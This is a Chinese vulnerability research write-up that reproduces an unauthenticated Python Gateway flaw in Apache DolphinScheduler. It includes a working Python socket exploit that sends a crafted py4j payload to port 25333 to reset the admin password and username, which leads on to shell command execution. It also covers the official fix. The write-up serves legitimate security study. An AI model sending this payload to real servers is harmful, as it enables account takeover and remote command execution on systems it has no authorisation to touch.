记一次Apache某项目的漏洞复现与挖掘
字数 1121 2025-08-11 17:39:47

Apache DolphinScheduler 漏洞复现与挖掘教学文档

漏洞概述

本教学文档详细分析Apache DolphinScheduler的两个安全漏洞:

  1. 未授权任意文件读取漏洞(早期版本)
  2. Python Gateway未授权访问漏洞(影响至最新版本)

环境搭建

使用Docker搭建漏洞环境

# 拉取存在漏洞的版本
docker pull apache/dolphinscheduler-standalone-server:3.0.0-beta-1

# 运行容器(添加调试端口9898)
docker run --name dolphinscheduler-standalone-server -p 12345:12345 -p 25333:25333 -p 9898:9898 -d 镜像id

配置调试环境

修改容器中的 /opt/dolphinscheduler/bin/start.sh 文件,添加调试参数:

JAVA_OPTS=${JAVA_OPTS:-"-server -Xdebug -Xnoagent -Djava.compiler=NONE -Xrunjdwp:transport=dt_socket,server=y,suspend=n,address=9898 -Duser.timezone=${SPRING_JACKSON_TIME_ZONE} -Xms1g -Xmx1g -Xmn512m -XX:+PrintGCDetails -Xloggc:gc.log -XX:+HeapDumpOnOutOfMemoryError -XX:HeapDumpPath=dump.hprof"}

漏洞分析

1. 任意文件读取漏洞(已修复)

漏洞位置

  • ResourcesServiceImpl.java 中增加了文件校验
  • ResourcesController.java 使用了该服务类

限制条件

  • 需要登录权限,与官方描述的"未授权"不符
  • 实际漏洞点在其他位置

2. Python Gateway未授权访问漏洞

关键类

  • org.apache.dolphinscheduler.api.python.PythonGateway

漏洞原理

  1. Python Gateway默认启动时不进行身份验证
  2. 攻击者可以直接通过25333端口与Gateway交互
  3. 可以调用敏感方法如updateUser修改管理员账户

漏洞利用

Python Gateway协议分析

通过Wireshark抓包分析,发现协议构造规则:

  • 字符串参数:前缀加's'
  • 整数参数:前缀加'i'
  • 其他类型有相应构造方式

构造攻击数据包

修改管理员账户

import socket
client = socket.socket()
client.connect(('目标IP',25333))

# 构造修改用户数据
data = '''ctupdateUsersadminsdolphinscheduler1234 stest@qq.coms17823336543steststesti1e'''
client.send(data.encode('utf-8'))
data_recv = client.recv(1024)
print(data_recv.decode())

参数说明

  • admin: 原用户名
  • dolphinscheduler1234: 新密码
  • test@qq.com: 新邮箱
  • 17823336543: 新手机号
  • test: 新用户名
  • 1: 用户状态

利用效果

  • 成功修改管理员账户信息
  • 可使用新凭证登录系统
  • 在任务调度平台中执行任意shell命令

调试技巧

  1. py4j.commands.CallCommand#execute设置断点
  2. 跟踪org.apache.dolphinscheduler.api.python.PythonGateway方法调用
  3. 观察参数传递和处理流程

漏洞修复

官方修复方案:

  1. 为Python Gateway添加authToken验证
  2. 必须使用安全方式启动Gateway:
JavaGateway(gateway_parameters=GatewayParameters(port=11111,auth_token="HelloWorld"))

经验总结

  1. 漏洞分析时不要局限于表面修复点,要全面追踪相关功能
  2. 协议分析可通过抓包和调试相结合
  3. 漏洞提交后要及时跟进,确保获得应有的认可
  4. 环境搭建是漏洞复现的关键步骤,不能图省事

参考资源

  1. Apache DolphinScheduler官方文档
  2. Docker快速搭建指南
  3. PyDolphinScheduler示例代码
Apache DolphinScheduler 漏洞复现与挖掘教学文档 漏洞概述 本教学文档详细分析Apache DolphinScheduler的两个安全漏洞: 未授权任意文件读取漏洞(早期版本) Python Gateway未授权访问漏洞(影响至最新版本) 环境搭建 使用Docker搭建漏洞环境 配置调试环境 修改容器中的 /opt/dolphinscheduler/bin/start.sh 文件,添加调试参数: 漏洞分析 1. 任意文件读取漏洞(已修复) 漏洞位置 : ResourcesServiceImpl.java 中增加了文件校验 ResourcesController.java 使用了该服务类 限制条件 : 需要登录权限,与官方描述的"未授权"不符 实际漏洞点在其他位置 2. Python Gateway未授权访问漏洞 关键类 : org.apache.dolphinscheduler.api.python.PythonGateway 漏洞原理 : Python Gateway默认启动时不进行身份验证 攻击者可以直接通过25333端口与Gateway交互 可以调用敏感方法如 updateUser 修改管理员账户 漏洞利用 Python Gateway协议分析 通过Wireshark抓包分析,发现协议构造规则: 字符串参数:前缀加's' 整数参数:前缀加'i' 其他类型有相应构造方式 构造攻击数据包 修改管理员账户 参数说明 : admin : 原用户名 dolphinscheduler1234 : 新密码 test@qq.com : 新邮箱 17823336543 : 新手机号 test : 新用户名 1 : 用户状态 利用效果 成功修改管理员账户信息 可使用新凭证登录系统 在任务调度平台中执行任意shell命令 调试技巧 在 py4j.commands.CallCommand#execute 设置断点 跟踪 org.apache.dolphinscheduler.api.python.PythonGateway 方法调用 观察参数传递和处理流程 漏洞修复 官方修复方案: 为Python Gateway添加 authToken 验证 必须使用安全方式启动Gateway: 经验总结 漏洞分析时不要局限于表面修复点,要全面追踪相关功能 协议分析可通过抓包和调试相结合 漏洞提交后要及时跟进,确保获得应有的认可 环境搭建是漏洞复现的关键步骤,不能图省事 参考资源 Apache DolphinScheduler官方文档 Docker快速搭建指南 PyDolphinScheduler示例代码